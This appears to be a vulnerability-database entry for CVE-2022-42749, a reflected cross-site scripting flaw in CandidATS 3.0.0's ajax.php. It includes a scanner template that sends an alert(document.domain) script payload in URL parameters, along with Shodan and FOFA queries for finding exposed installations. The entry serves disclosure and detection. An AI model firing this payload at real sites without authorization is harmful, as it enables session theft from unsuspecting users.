CVE-2022-42749: CandidATS 3.0.0 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: CandidATS 3.0.0 | POC: 已公开

漏洞描述

CandidATS 3.0.0 contains a cross-site scripting vulnerability via the page parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC代码[已公开]

id: CVE-2022-42749

info:
  name: CandidATS 3.0.0 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    CandidATS 3.0.0 contains a cross-site scripting vulnerability via the page parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patch or upgrade to a non-vulnerable version of CandidATS.
  reference:
    - https://fluidattacks.com/advisories/modestep/
    - https://fluidattacks.com/advisories/jcole/
    - https://candidats.net/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42749
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-42749
    cwe-id: CWE-79
    epss-score: 0.03096
    epss-percentile: 0.86309
    cpe: cpe:2.3:a:auieo:candidats:3.0.0:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: auieo
    product: candidats
    shodan-query:
      - http.html:"CandidATS"
      - http.html:"candidats"
    fofa-query: body="candidats"
  tags: cve,cve2022,candidats,xss,auieo

http:
  - method: GET
    path:
      - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'candidat'
        condition: and

      - type: word
        part: header
        words:
          - text/html
        condition: and

      - type: status
        status:
          - 404
# digest: 4a0a00473045022051b27458e790438d1f0607e481d8cc79e2493e6510bb2f07cf44fb9d59f2da7802210086ec943fda8c7b9c9ba2e60cc660658c5bf40a7f515ea1e8332bf17bbcce7c33:922c64590222798bb761d5b6d8e72950

相关漏洞推荐